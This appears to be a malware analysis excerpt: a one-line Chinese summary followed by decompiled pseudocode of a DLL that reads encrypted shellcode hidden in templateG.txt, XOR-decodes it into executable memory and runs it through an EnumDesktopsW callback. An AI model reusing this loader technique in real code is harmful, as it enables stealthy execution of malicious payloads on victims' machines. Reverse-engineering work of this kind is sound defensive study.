autorun.exe加载language.dll,后者加载隐藏在templateG.txt的加密SHELL CODE ,解密后,通过 EnumDesktopsW执行。
HANDLE sub_100011D0()
{
int v0; // eax
HANDLE result; // eax
void *v2; // ebx
DWORD FileSize; // edi
HMODULE LibraryW; // eax
FARPROC pVirtualAlloc; // eax
int AllocAddr; // eax
BOOL (__stdcall *pShellCode)(LPWSTR, LPARAM); // esi
DWORD v8; // edi
char v9; // dl
_BYTE *v10; // esi
WCHAR Filename[260]; // [esp+0h] [ebp-25Ch] BYREF
HANDLE v12; // [esp+208h] [ebp-54h]
BOOL (__stdcall *v13)(LPWSTR, LPARAM); // [esp+20Ch] [ebp-50h]
WCHAR String2[2]; // [esp+210h] [ebp-4Ch] BYREF
int v15; // [esp+214h] [ebp-48h]
int v16; // [esp+218h] [ebp-44h]
int v17; // [esp+21Ch] [ebp-40h]
int v18; // [esp+220h] [ebp-3Ch]
int v19; // [esp+224h] [ebp-38h]
int v20; // [esp+228h] [ebp-34h]
WCHAR LibFileName[2]; // [esp+22Ch] [ebp-30h] BYREF
int v22; // [esp+230h] [ebp-2Ch]
int v23; // [esp+234h] [ebp-28h]
int v24; // [esp+238h] [ebp-24h]
int v25; // [esp+23Ch] [ebp-20h]
int v26; // [esp+240h] [ebp-1Ch]
__int16 v27; // [esp+244h] [ebp-18h]
DWORD NumberOfBytesRead; // [esp+248h] [ebp-14h] BYREF
CHAR ProcName[16]; // [esp+24Ch] [ebp-10h] BYREF
GetModuleFileNameW(0, Filename, 0x104u);
v0 = lstrlenW(Filename);
if ( v0 > 0 )
{
while ( Filename[v0] != '\\' )
{
if ( --v0 <= 0 )
goto LABEL_6;
}
Filename[v0 + 1] = 0;
}
LABEL_6:
*(_DWORD *)String2 = 'e\0t';
v15 = 'p\0m';
v16 = 'a\0l';
v17 = 'e\0t';
v18 = '.\0G';
v19 = 'x\0t';
v20 = 't';
lstrcatW(Filename, String2);
result = CreateFileW(Filename, 0x80000000, 1u, 0, 3u, 0x80u, 0);
v2 = result;
v12 = result;
if ( result )
{
FileSize = GetFileSize(result, 0);
if ( FileSize > 0x5000 )
{
*(_DWORD *)LibFileName = 'E\0K';
v22 = 'N\0R';
v23 = 'L\0E';
v24 = '2\03';
v25 = 'D\0.';
v26 = 'L\0L';
v27 = 0;
strcpy(ProcName, "VirtualAlloc");
LibraryW = LoadLibraryW(LibFileName);
pVirtualAlloc = GetProcAddress(LibraryW, ProcName);
AllocAddr = ((int (__stdcall *)(_DWORD, int, int, int))pVirtualAlloc)(0, 0x4E00000, 12288, 64);
if ( AllocAddr )
{
pShellCode = (BOOL (__stdcall *)(LPWSTR, LPARAM))(AllocAddr + 0x1700000);
NumberOfBytesRead = 0;
v13 = (BOOL (__stdcall *)(LPWSTR, LPARAM))(AllocAddr + 0x1700000);
if ( ReadFile(v2, (LPVOID)(AllocAddr + 0x1700000), FileSize, &NumberOfBytesRead, 0) )
{
v8 = NumberOfBytesRead - 1;
v9 = *(_BYTE *)pShellCode;
if ( NumberOfBytesRead != 1 )
{
v10 = (char *)pShellCode + 1;
do
{
*(v10 - 1) = ~v9 & *v10 | v9 & ~*v10;
++v10;
--v8;
}
while ( v8 );
v2 = v12;
pShellCode = v13;
}
EnumDesktopsW(0, pShellCode, 0);
SleepEx(0xFFFFFFFF, 0);
}
}
}
return (HANDLE)CloseHandle(v2);
}
return result;
} |